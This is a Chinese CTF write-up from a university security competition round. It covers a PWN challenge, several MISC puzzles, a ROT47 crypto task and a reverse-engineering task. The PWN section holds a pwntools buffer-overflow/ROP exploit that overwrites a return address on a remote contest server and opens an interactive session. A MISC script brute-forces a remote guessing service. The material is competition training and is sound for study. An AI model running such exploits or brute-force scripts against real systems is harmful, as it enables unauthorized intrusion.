[WP]安恒杯月赛暨全国大学生信息安全竞赛北京工业大学校内选拔赛
PWN
fantasy:
最基本的ROP
EXP:
from pwn import * p=remote("183.129.189.60",10025) p.recvuntil('message') payload='a'*0x38+p64(0x400735) p.send(payload) p.interactive()
MISC
佛系青年:
伪加密,图片没有被加密,伪加密部分是txt
右键7z直接解压
与佛论禅 http://www.keyfc.net/bbs/tools/tudoucode.aspx
在线解密得到flag
babync:
输入一个数他会告诉你大了还是小了
第一想法就是二分法爆破
很荣幸拿到一血
from pwn import * b="" minn=55555555555555555555555555 maxn=555555555555555555555555555 n=int((maxn+minn)/2) for i in range(100): n=int((maxn+minn)/2) p=p=remote("183.129.189.60",10029) print n p.sendline(str(n)) b=p.recv(8) if('sma' in b): minn=n+1 if('big' in b): maxn=n-1 print str(n)+b p.close() print n
gakki:
分离文件得到rar包,爆破rar密码
得到字符串文本
本来以为是base91或者base92,并且base91也确实能解出东西了,但是研究了半天发现并没什么用
最后统计字符数量排序得到的flag
SXMgdGhpcyBiYXNlPw==:
base64隐写,脚本直接秒杀:
#coding:utf-8 def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s2)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('3.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) print(diff) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 print(goflag(bin_str)) def goflag(bin_str): res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) return res_str if __name__ == '__main__': solve_stego()
CRYPTO:
Checkln:
这是我见过最恶心的签到题,还只有50分
base64解密完以后得到的一直以为是base85 91 或者 92
还考虑了他更改table
最后把密文和‘GXY{’一起放在十六进制编辑器中对比 发现每一个字符都相差2F
写了个脚本:
然后才知道原来是Rot47..
Rot47解密得到flag
REVERSE:
luck_guy:
运气好的话三次先取到余数4和5再取到余数1是可以直接拿到flag的
开始写了脚本跑了1w次没跑出来
最后还是看代码反推了
前半段flag是直接输出的
后半段flag是加密过的